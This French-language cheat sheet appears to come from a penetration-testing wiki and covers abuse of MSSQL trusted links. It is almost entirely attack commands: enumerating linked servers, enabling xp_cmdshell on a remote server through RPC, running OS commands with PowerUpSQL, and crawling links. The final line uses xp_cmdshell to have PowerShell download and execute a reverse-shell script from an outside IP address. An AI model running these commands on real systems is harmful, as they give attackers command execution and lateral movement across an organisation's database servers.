🚧MSSQL Trusted Links
MSSQ - Trusted Links
# Trouver les serveurs liés
EXEC sp_linkedservers
# Lancer des requêtes SQL sur le serveur link ciblé
select mylogin from openquery("TARGETSERVER", 'select SYSTEM_USER as mylogin')
# Autoriser 'xp_cmdshell' sur le serveur distant est exécuter des commandes, cela ne marche que si le protocole RPC est activé
EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT TARGETSERVER
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT TARGETSERVER
EXEC ('xp_cmdshell ''whoami'' ') AT TARGETSERVER# Obtenir des bases de données MSSQL dans le domaine, et tester la connectivité
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft
# Obtenir des information sur toutes les bases de données du domaine
Get-SQLInstanceDomain | Get-SQLServerInfo
# Avoir des information sur une seule base de donnée
Get-SQLServerInfo -Instance TARGETSERVER
# Scanner la base de donnée MSSQL pour observer des potentielles mauvaises configuration
Invoke-SQLAudit -Verbose -Instance TARGETSERVER
# Exécuter une requête SQL
Get-SQLQuery -Query "SELECT system_user" -Instance TARGETSERVER
# Exécuter une commande (autorise XP_CMDSHELL automatiquement si besoin)
Invoke-SQLOSCmd -Instance TARGETSERVER -Command "whoami" | select -ExpandProperty CommandResults
# Trouver toutes les base donnée liées
Get-SqlServerLinkCrawl -Instance TARGETSERVER | select instance,links | ft
# executer une commande si XP_CMDSHELL est autorisé sur une des base donnée liée
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''<http://172.16.100.55/Invoke-PowerShellTcpRun.ps1>'')"' | select instance,links,customquery | ftLast updated